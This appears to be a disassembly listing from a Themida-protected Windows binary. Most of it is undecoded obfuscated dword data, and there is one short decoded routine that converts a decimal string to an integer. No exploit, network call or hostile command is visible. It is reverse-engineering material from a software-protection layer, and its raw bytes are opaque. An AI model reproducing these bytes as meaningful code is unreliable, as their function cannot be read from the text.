		dd 1FE0637h, 2840Fh, 0D78B0000h, 0DADBD83h, 0F010637h
		dd 685h, 5958B00h, 8B063720h, 0CD6DBBC0h, 0BD832CB0h, 6371929h
		dd 83097500h, 371FE1BDh, 1A740006h, 0C08B5350h,	1B41858Bh
		dd 85890637h, 6371B41h,	0B10C9D8Dh, 0D3FF0639h,	0BD83585Bh
		dd 6371FE1h, 50187400h,	41858B53h, 8906371Bh, 371B4185h
		dd 0FB9D8D06h, 0FF0639ADh, 89585BD3h, 372EB985h, 0D88B6606h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 6914B6C3h, 7DE3717Eh, 52519603h, 12E9h, 686EB800h
		dd 977ABC58h, 5B7821A2h, 67D38CD1h, 5B963DB7h, 83A6B75Bh
		dd 3709BDBDh, 850F0006h, 31h, 2AF99D8Bh, 0BD830637h, 6372239h
		dd 1E840F00h, 0E8000000h, 13h, 0E8BB2611h, 517A4EEEh, 5A68553h
		dd 0D6691C6Ah, 0BB881487h, 5B525ADh, 0BDBD835Bh, 63709h
		dd 16840Fh, 9D8B0000h, 6372EC5h, 1BD1BD83h, 0F000637h
		dd 384h, 98EE8000h, 9BDBD83h, 0F000637h, 3484h,	0AD9D8B00h
		dd 83063728h, 371BD1BDh, 840F0006h, 21h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 0D8C35646h, 216D9F46h
		dd 0BDBD8391h, 63709h, 35840Fh,	0D7800000h, 0FDBD838Eh
		dd 6370Eh, 25840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0C4F623C3h, 198615B4h
		dd 839F1129h, 3709BDBDh, 840F0006h, 24h, 1C459509h, 0BD830637h
		dd 6370C01h, 11840F00h,	9000000h, 3717A99Dh, 0D95FF06h
		dd 50063719h, 5ADA8B66h, 9D01C08Bh, 6372D5Dh, 1929BD83h
		dd 75000637h, 0E1BD8309h, 6371Fh, 53501A74h, 858BC08Bh
		dd 6372A05h, 2A058589h,	9D8D0637h, 639B173h, 585BD3FFh
		dd 1FE1BD83h, 74000637h, 8B535018h, 372A0585h, 5858906h
		dd 8D06372Ah, 39AE149Dh, 5BD3FF06h, 0CF8B6058h,	0F6175B7h
		dd 0C08BD6B7h, 9BDBD83h, 0F000637h, 55484h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0EC2813ADh, 29622717h, 0D1B70FB4h, 3319BD83h, 0F020637h
		dd 4784h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 1F250990h, 53B65525h, 0BD835BF5h
		dd 63708F9h, 15850F01h,	0E9000000h, 10h, 0E6A80BFAh, 0C85DDAE9h
		dd 0D6FE16C4h, 14CAC07Eh, 21EDBD83h, 0F000637h,	9684h
		dd 9D850900h, 6006371Fh, 4DC58D8Bh, 6A0637h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C261A5C3h
		dd 0FEF3F26Eh, 0BB12A9A9h, 7EC15CFCh, 800F01FEh, 6, 0F918589h
		dd 0FE680637h, 8B2738C9h, 243481D9h, 2738C97Eh,	2880Fh
		dd 0D88B0000h, 958BFF6Ah, 6370901h, 7CD95FFh, 6A0637h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0E961A3C3h, 0Bh, 1B65EA77h, 4FBEE627h, 60B78012h, 871B589h
		dd 840F0637h, 2, 8D8BCEB7h, 6374DC5h, 0FE10C780h, 0D1952B01h
		dd 68063720h, 0AD721D71h, 481D98Bh, 8DE30F24h, 52006A52h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F44C267h, 68Fh, 6D958B00h, 8B06371Bh, 3725C595h, 8BFF6A06h
		dd 37256D95h, 0CD95FF06h, 60063707h, 4CCCBA66h,	1D999D8Bh
		dd 61610637h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	2FC35242h, 649A5791h, 581C2B32h, 95BD8D40h, 0FC06372Fh
		dd 8B1C4F8Bh, 3016AD6h,	37195995h, 0E3816606h, 0E991E4FFh
		dd 0Ch,	0ECED296Dh, 0D43DBD6Ah,	0F917793h, 50525050h, 0BE852h
		dd 92AC0000h, 7BA643BEh, 4888C2C3h, 310F5B76h, 7E9h, 7B3D7A00h
		dd 0BE845930h, 310F585Ah, 0CD4282BBh, 91585A57h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 91C35747h, 1C009AFBh
		dd 0E2FF921Fh, 0EC72BBE0h, 858D661Ch, 63A3B92h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 4BC35343h, 54117C2Dh
		dd 97C7E005h, 5E9D0FFh,	0A1000000h, 1D1732B8h, 8B4FE380h
		dd 6A204Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B5038C3h, 0CB8166CEh, 0DE80C637h, 6A036A7Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0E4CC356h, 53FEDDF1h, 0C2A27EA8h,	5350DA8Bh
		dd 895AD68Bh, 6A240Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0EAA7F8C3h, 8BA87175h, 92858DDFh
		dd 0F063A3Bh, 487h, 75BA6600h, 66D0FFC3h, 8DAF39BAh, 372F95BDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0D6A7A45Ch, 0CC01DA05h, 6A1C4F8Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 8D7EC356h, 16AC3D6h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F7C35545h, 0C87D4656h, 0E21B5AE4h, 38C0FA4h
		dd 66000000h, 6650DE8Bh, 89023EBAh, 6A240Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 164777C3h
		dd 0BF6660AFh, 800F8ACAh, 3, 61D2BF0Fh,	8DD7B70Fh, 3A3B9285h
		dd 13E806h, 63220000h, 0B8924E36h, 45D4AF0Dh, 5FBF0D48h
		dd 90E8BD77h, 899D8923h, 5B06371Eh, 958BD0FFh, 6372DA9h
		dd 6A204F8Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 727AC356h, 8A0F9278h, 6, 2E359D8Bh
		dd 10E90637h, 85000000h, 1B161B2Eh, 8E0801FEh, 0B99AAACBh
		dd 6A8D4E4Bh, 51B52903h, 50063709h, 0C89D68Bh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0B1ED0C7Dh, 8DCE3219h, 3A3B9285h, 45958B06h,	0FF063725h
		dd 55006AD0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 42ED0F27h, 0BB9D5BB4h, 2229A977h, 4DC58D8Bh
		dd 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 7672E0C3h, 0E4D67487h, 320D9D8Bh,	1FE0637h
		dd 0CE9h, 992BC500h, 32138F96h,	0DA8634D0h, 0C5858B44h
		dd 8906374Dh, 372241B5h, 0BA00FE06h, 3EF81DE9h,	0A1BB016Ah
		dd 0E8251759h, 4, 0FFFF9FFFh, 66525050h, 5A5AD18Bh, 424448Bh
		dd 51957BBh, 0BA008B2Ah, 0DFFE21Ah, 4244489h, 5BDF8B51h
		dd 0F5958B58h, 8D06370Ch, 3A3B9C85h, 35950106h,	0FF063704h
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 96864838h, 0D4AB2CEEh, 39BD83FCh, 63722h
		dd 99840Fh, 0D18A0000h,	89DBD83h, 0F010637h, 8A85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0B9A40EA9h, 5A52D88Bh, 3BA68D8Dh, 0BD89063Ah, 637080Dh
		dd 950B036Ah, 63704F5h,	8B50016Ah, 37233D9Dh, 0D1FF5A06h
		dd 0CC98D01h, 16A0637h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0F1C35141h, 2F1FCF63h, 1C519D8Bh, 16A0637h
		dd 8EA8166h, 0D78B6680h, 9D8BD1FFh, 6371919h, 245CC2E8h
		dd 6AAFB7FAh, 12E920h, 5DEF0000h, 18B1EA8Bh, 28F113A4h
		dd 3040860Ah, 82FE2A54h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 82BD01C3h, 8922794Bh
		dd 37140995h, 0CD95FF06h, 8B063707h, 3713699Dh,	6870F06h
		dd 89000000h, 37256D9Dh, 0B806h, 5E90000h, 68000000h, 0DEC7E4Ah
		dd 840FC00Bh, 8Ch, 0EDBD83F9h, 6370Ah, 7E840Fh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0AEFBC5C3h
		dd 13E920h, 94340000h, 0AA706551h, 6461EF31h, 630233B3h
		dd 0CA78FA56h, 0CBBB663Ch, 0C99D2BA3h, 0FF06372Dh, 3730F595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 8952600Ah, 37256DBDh, 0E2BB5A06h, 615BAFA2h
		dd 6800Fh, 9D890000h, 6372889h,	1171858Bh, 6A0637h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 87F178C3h, 12E909h, 0D9B10000h, 0D9D0EDC5h, 9962B7D6h
		dd 0F5244BBFh, 47220A5Ch, 6A0000C6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 3ED1C357h
		dd 4FA404B1h, 0A333E218h, 2D6D9529h, 0F580637h,	287h, 66D88B00h
		dd 9D8BD98Ch, 63703E9h,	0C1F6D98Ah, 77840F04h, 8B000000h
		dd 37002D95h, 6CE906h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0B21B7CC3h, 7D9D239Bh
		dd 8B063705h, 3706FDB5h, 0F32B606h, 0C681D2B7h,	1180h
		dd 8BC9DF80h, 3722F195h, 6C706h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 9F97C355h
		dd 0DBB6F9F4h, 3065958Bh, 575E0637h, 9818531h, 835B0637h
		dd 840F00F8h, 0B0Dh, 15952351h,	5A06370Fh, 0F01F883h, 13685h
		dd 0E2816600h, 0B83C39h, 66000000h, 0C00BD98Bh,	0CD840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0CD6E37C3h, 0D11143DFh, 86AABB6Ah, 0F88344E1h
		dd 0D1840F01h, 89000000h, 371D65BDh, 3F88306h, 71840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 8E1694C3h, 83F99B09h, 99D0BE3h, 2B063707h
		dd 8E9C0h, 0F8700000h, 8FFD2DF2h, 0BD8D46F0h, 5B7974h
		dd 5E9h, 0C8AFF100h, 0E7FF22A6h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 19h, 7AC35646h, 27C1DD12h, 0FDB5897Ch
		dd 0B8063730h, 1, 1D559D8Bh, 0BD8D0637h, 5B7974h, 1B25958Bh
		dd 0E7FF0637h, 8DD2BF0Fh, 374451BDh, 2C5E906h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 7E3EF4C3h, 33850E78h, 8166724Ch, 0F9989DEAh,	4E2085C7h
		dd 50637h, 0B70F0000h, 5B8D6h, 5A530000h, 934E9h, 5D9D8900h
		dd 8306372Fh, 850F02F8h, 157h, 22999D03h, 0B80637h, 66000000h
		dd 0F915EB81h, 840FC00Bh, 10Ch,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 4EC35343h, 1DE1B589h, 0F8830637h
		dd 95840F01h, 31FFFFFFh, 3711F99Dh, 3F88306h, 0FF35840Fh
		dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F0003C3h, 108Ch,	0BE900h, 832C0000h, 9DF9ED24h
		dd 0CD04C81Dh, 0B88Dh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0D30F8DC3h, 623B7FF8h
		dd 0FA47975h, 9D8BD9B7h, 637046Dh, 10E953h, 0D6FC0000h
		dd 0A513D8BCh, 672B9BF3h, 0F00E3DDFh, 8D5B62CFh, 5B7974BDh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0E7FF3AA9h, 8E860h, 5E8A0000h, 0EE4AC20h
		dd 81668F79h, 59F6A0CAh, 10E9h,	0E1B84600h, 0DD571AA9h
		dd 5C1A0CB4h, 3FAFFE01h, 958B61F3h, 63730A5h, 4649BD8Dh
		dd 9D290637h, 6370991h,	13EE9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 499D89DEh
		dd 83063722h, 850F03F8h, 48h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 4FC35141h, 9D9D8B59h, 8D06372Ah
		dd 3747DDBDh, 0D59D8B06h, 0F063721h, 281h, 0E962B700h
		dd 0D7h, 2291958Bh, 85890637h, 6371D71h, 0F05F883h, 3685h
		dd 51953300h, 0E9063711h, 769h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 7AC35747h, 82E10356h, 53105207h
		dd 1CA19589h, 835A0637h, 850F06F8h, 1Ah, 4D41BA66h, 49D5BD8Dh
		dd 95330637h, 637186Dh,	6EE9h, 0EDD1BA00h, 0F88312AAh
		dd 3D850F07h, 66000000h, 6DBCF281h, 2655BD8Dh, 11E90637h
		dd 0AB000000h, 7C0A5E94h, 932BC7A4h, 78039F7Ch,	50E32E5Dh
		dd 13BE9h, 12E900h, 0BAB30000h,	0F4CC6B5Bh, 928E9194h
		dd 0D24AE4F8h, 2A1CBD03h, 0F0AF883h, 1A85h, 0F4DB8000h
		dd 4BCDBD8Dh, 8D890637h, 6370D01h, 6E9h, 65B58900h, 57063723h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 9CC35747h
		dd 0C18D29E3h, 8B063721h, 372E919Dh, 5F7EB906h,	6A14AEh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0C50BBDC3h, 0BF0FBA37h, 919D8BDFh, 8306371Bh, 840F003Fh
		dd 9Dh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 0D0C35141h, 6A7D888Dh, 30F18A64h, 7DBA660Fh,	0E9C9D151h
		dd 0Bh,	1CDF0053h, 9EAF57CCh, 47FD7FAAh, 0DE9h,	1C3B4100h
		dd 257AFA48h, 0B26FA382h, 0D88B95E2h, 0FFFFA2E9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0CC29EAB3h, 0C4A92332h, 0FE9CA21h, 0A3000000h, 4FA05597h
		dd 713E9164h, 0F757E4A3h, 8B601812h, 19B589C7h,	61063719h
		dd 99F28166h, 71B25F01h, 4DC9BD89h, 8D8D0637h, 6373239h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 43C35545h
		dd 0FFF0A417h, 37042DB5h, 9D8B6006h, 6370F75h, 308DB58Bh
		dd 8D610637h, 39A32B85h, 0BD8D5006h, 63754E6h, 6FF68D8Dh
		dd 0BCB80637h, 2B54831Ah, 0D00730CFh, 754947C8h, 9AB58DF8h
		dd 8D06376Fh, 37700E8Dh, 0F3CF2B06h, 0B8C933A4h, 0
		dd 4674C00Bh, 0AEDBD83h, 74000637h, 0F595FF06h,	8B063730h
		dd 374DC9B5h, 2B858D06h, 0FF0639A3h, 26858DD0h,	0FF063742h
		dd 0F585C7D0h, 1063722h, 8B000000h, 371D9DA5h, 0A1B58B06h
		dd 8B063717h, 3700B1ADh, 0C2C03306h, 890F000Ch,	6, 0C7F3D281h
		dd 6A70E5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0CA6533C3h, 4C7EAA07h, 0BE8h, 0F68E8D00h
		dd 0A6C3FFB9h, 0F920F1FBh, 5BD6B70Fh, 1A75BD83h, 0F000637h
		dd 1584h, 0AD958B00h, 0FF063718h, 372EE995h, 0DDB8106h
		dd 806BFF30h, 0BD83E8C2h, 6371B0Dh, 9C850F00h, 8B000001h
		dd 37015D9Dh, 19EB8006h, 89DBD83h, 0F010637h, 18685h, 0D9BF0F00h
		dd 25C1BD83h, 0F000637h, 17684h, 359D8B00h, 66063708h
		dd 549DF381h, 4E1CBD83h, 0F000637h, 15E84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0D90F7367h, 135B02FBh, 8DFC4F5Eh, 39A32B85h,	0D3816606h
		dd 0B58BAD76h, 6374DC9h, 3CD4BB66h, 958BD0FFh, 637260Dh
		dd 68D0Fh, 0EA810000h, 0D8D513Fh, 22B985C6h, 66540637h
		dd 0AB4CDB81h, 4E8h, 4EBEF400h,	50DA8BFFh, 448BD7B7h, 0B1BB0424h
		dd 8B24C5C7h, 4850F00h,	66000000h, 89381ABBh, 66042444h
		dd 6A58D38Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 2D96C350h, 9DC549D9h, 7659D8Bh
		dd 0B5FF0637h, 6371B49h, 1B099D29h, 858D0637h, 6373A14h
		dd 47CED381h, 0D0FF0A32h, 13870Fh, 0EE90000h, 51000000h
		dd 5C736670h, 80DC81A8h, 0BF329011h, 3195092Ah,	6A063711h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 3CD55877h, 0B59D3396h, 6A063717h, 7E8FFh
		dd 0E8730000h, 42AA63F6h, 5AEFB7DBh, 6AD0FFFCh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 9D9C352h, 370BD5BDh,	0CA816606h, 0B5FF855Dh,	6372B11h
		dd 1901BD89h, 95FF0637h, 637042Dh, 8BDA8B66h, 374DC9B5h
		dd 6890F06h, 89000000h,	370A1D8Dh, 0C8D0F06h, 0F000000h
		dd 688h, 619D3100h, 0C3063709h,	11E9h, 0B4065400h, 0C37877Fh
		dd 7C2E4C2Fh, 45EC668h,	0B58B420Bh, 6371171h, 12E9h, 5389E400h
		dd 5031A3Dh, 0FCB935A5h, 0A34180ACh, 0B03DDF4h,	27840FF6h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 4FC7C356h, 0C621C525h,	0BA660006h
		dd 85897084h, 6374DD1h,	25A19589h, 0F8830637h, 0DE840F00h
		dd 89000002h, 3721D59Dh, 0B806h, 0CB810000h, 42E3048Fh
		dd 0F00F883h, 0C984h, 6E800h, 88740000h, 2B68875Ah, 0B2F38156h
		dd 5B06D0B6h, 2F8835Ah,	7D850Fh, 0BA660000h, 858D3A84h
		dd 637444Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	3EC35545h, 2DFCCBFCh, 929h, 22D19589h, 89500637h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0C39A37C3h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0EAC35040h, 1CF5E469h, 159589E2h, 0B806371Dh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 41C35646h
		dd 2053361Eh, 0E9994F8Bh, 1FDh,	1B8B5B6h, 51000000h, 5AD78B66h
		dd 13B99D8Bh, 0BD8D0637h, 6374451h, 5CDA8166h, 0A4E997h
		dd 5E90000h, 0AE000000h, 0B035824Fh, 0F02F883h,	3085h
		dd 11E86000h, 0C5000000h, 0C5085EE2h, 0EC52CBD6h, 17CA55E1h
		dd 0EDB797E5h, 8D61F559h, 374649BDh, 0D1BF0F06h, 69E9h
		dd 3FD8A00h, 37264D95h,	3F88306h, 45850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0EA01D0C3h, 8083BCCFh, 0BD8D31EBh, 63747DDh,	8D015051h
		dd 6372D8Dh, 1FE95B5Bh,	8B000000h, 3704619Dh, 0DEDB8106h
		dd 834BB390h, 850F05F8h, 0Ah, 0A4E9h, 0C2816600h, 6A575A70h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0B94FC351h, 14AE5F7Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 85C35343h, 5367EF07h, 85B25AC3h
		dd 0F003F83h, 5084h, 1810F00h, 0F8000000h, 8B660F30h, 6AC9D1D3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 4EB8C350h, 6953755Ch, 84709FF3h, 47FAF780h
		dd 17E5958Bh, 0B5E90637h, 60FFFFFFh, 1C159589h,	9D890637h
		dd 6372B41h, 5F88361h, 8F850Fh,	8D890000h, 6371869h, 0D98C66FCh
		dd 4C1F6F5h, 49850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 564C37C3h, 0F83B587Dh
		dd 8E8h, 0C88E2700h, 8CF5D4DFh,	2D8D89B7h, 5A06370Bh, 0B8h
		dd 3DB50100h, 0E9063709h, 35h, 8BD9BF0Fh, 372D8985h, 0D98B6606h
		dd 6AE0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 2E48D0C3h, 0BBB1F380h, 3F4D6F0h, 2DBD83F8h
		dd 63704h, 0B6850Fh, 0BD890000h, 6372349h, 38A0Fh, 0EE800000h
		dd 665290B0h, 5BFD49BBh, 0F2BA6650h, 0B70F90DCh, 0B985C6D1h
		dd 45063722h, 12798589h, 0F0680637h, 8AC40FCAh,	243481FCh
		dd 4A7DA399h, 0FFD9BF0Fh, 371B49B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 1AE39814h
		dd 0DCFE5C29h, 0A0E38166h, 14858DA5h, 6006373Ah, 61C3B70Fh
		dd 9D8BD0FFh, 6370A79h,	8E8h, 0E405E000h, 3477C081h, 7E9AFh
		dd 71980000h, 191027F5h, 85895BC3h, 637042Dh, 0DB9958Bh
		dd 0E9580637h, 0Ch, 0A9E0F02h, 0F6020CBCh, 0F3D1F8A5h
		dd 4E20BD83h, 0F000637h, 5B84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 3D40A9F7h
		dd 0C9319C79h, 11B5FFBEh, 6A06372Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B395C351h
		dd 895FFC12h, 37071985h, 0FFD38B06h, 37042D95h,	0D1B70F06h
		dd 0F00F883h, 0D985h, 9DBD0900h, 83063717h, 371FD9BDh
		dd 840F0006h, 66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0BC35747h, 805DE26Ah,	0F0A0B2BAh, 0D9B5FF1Dh
		dd 6606371Fh, 1B8DE8Bh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 8922C355h
		dd 0F24B2D1h, 68Fh, 0AD950900h,	0E906371Dh, 20Eh, 0B5FF8FB6h
		dd 6372B11h, 0B5FFDA8Bh, 6372B11h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0CC35040h, 0A810F0E9h, 2DB5FF75h
		dd 6A063704h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 820AC356h, 0E95F85E2h,	1B2h, 1D75958Bh
		dd 835F0637h, 3718A5BDh, 850F0006h, 95h
dword_544450	dd 9531ABB2h, 6370C71h,	22B985C6h, 664D0637h, 7E4BE281h
					; DATA XREF: ___:off_43CD24o
		dd 4E8h, 3576A800h, 21D3BBA4h, 0B3501E78h, 24448B16h, 50525004h
		dd 0F5B5352h, 5A616031h, 66310F58h, 5A526CBBh, 0E9008B58h
		dd 6, 0EE825E1Ch, 44894760h, 29580424h,	370A2585h, 5DB5FF06h
		dd 89063704h, 3719A185h, 14858D06h, 8906373Ah, 371BC1BDh
		dd 0DD9D0906h, 0FF06371Ah, 11958BD0h, 89063719h, 3718A585h
		dd 0AE906h, 11D90000h, 0A8323B2Fh, 91FB8687h, 8F0010BAh
		dd 0B854h, 0BF0F0000h, 0C9BD89DAh, 6A06374Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 38D4C353h, 8A93F3BDh, 0D88B66D9h, 840FC00Bh,	29h, 14E9h
		dd 0E35E00h, 0EC2AF2CFh, 0B96D6719h, 8B616C04h,	0BA2DF1FEh
		dd 0E9953115h, 0E906370Bh, 0AAh, 716155BBh, 2DB5FF19h
		dd 6A063704h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0C134C350h, 8DF56F58h,	39A32B85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0AAE69B80h, 15A3BD7h, 3712E98Dh,	9953106h
		dd 5006371Bh, 11E8h, 828CEA00h,	0FF655644h, 0E94A85DFh
		dd 0C12607D6h, 0D98B965Ah, 2404895Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0B7C35343h,	0A0E0C819h, 0DA91C8E0h
		dd 0D8B70F75h, 4A7CC381h, 56504140h, 54E6BD8Dh,	8D8D0637h
		dd 63779B4h, 8323BCB8h,	30CF2B74h, 47C8D007h, 5EF87549h
		dd 0D9BD8358h, 6371Fh, 8D8B0674h, 6371CA5h, 0B8C933h, 0B000000h
		dd 99840FC0h, 83000000h, 370AEDBDh, 6740006h, 30F595FFh
		dd 0B80637h, 0B000000h,	830975C0h, 374DD1BDh, 9740106h
		dd 4DD1BD83h, 75020637h, 0C9B58B0Eh, 8D06374Dh,	39A32B85h
		dd 8DD0FF06h, 37422685h, 83D0FF06h, 373319BDh, 2F750206h
		dd 1D9DA58Bh, 858B0637h, 6371FD9h, 0C7240489h, 3722F585h
		dd 106h, 0CDB58B00h, 8B06374Dh,	3700B1ADh, 1B806h, 0CC20000h
		dd 0C700EB00h, 3722F585h, 106h,	9DA58B00h, 8B06371Dh, 3717A1B5h
		dd 0B1AD8B06h, 33063700h, 0CC2C0h, 1A75BD83h, 74000637h
		dd 0E9BD830Fh, 6372Eh, 95FF0674h, 6372EE9h, 4DC9B58Bh
		dd 0FC30637h, 887h, 958B5000h, 6370E81h, 8166605Bh, 0F141CC1h
		dd 6A61C8BFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 455DC355h, 950B0967h, 637099Dh
		dd 8B60D22Bh, 3728A99Dh, 0E6816606h
		db 84h,	0BEh, 61h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54473F
; ---------------------------------------------------------------------------


loc_54473D:				; CODE XREF: Themida_:00544742j
		inc	eax
		inc	edi


loc_54473F:				; CODE XREF: Themida_:0054473Bj
		cmp	byte ptr [edi],	0
		jnz	short loc_54473D
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54476E
; ---------------------------------------------------------------------------


loc_54474B:				; CODE XREF: Themida_:00544770j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_544763
; ---------------------------------------------------------------------------


loc_544760:				; CODE XREF: Themida_:00544766j
		mul	ebx
		dec	esi


loc_544763:				; CODE XREF: Themida_:0054475Ej
		cmp	esi, 0
		ja	short loc_544760
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_54476E:				; CODE XREF: Themida_:00544749j
		or	eax, eax
		jnz	short loc_54474B
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0FEC35747h
		dd 0C3816673h, 6A8D80h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0E3E081C3h, 0D9BAA622h, 8B5EDEF1h
		dd 1E4CE9C1h, 0DCDB0002h, 5Ah, 280000h,	0D7E90259h, 0FF68005Ah
		dd 0DCDB0012h, 3F005Ah,	2460259h, 20000h, 10000h, 50000h
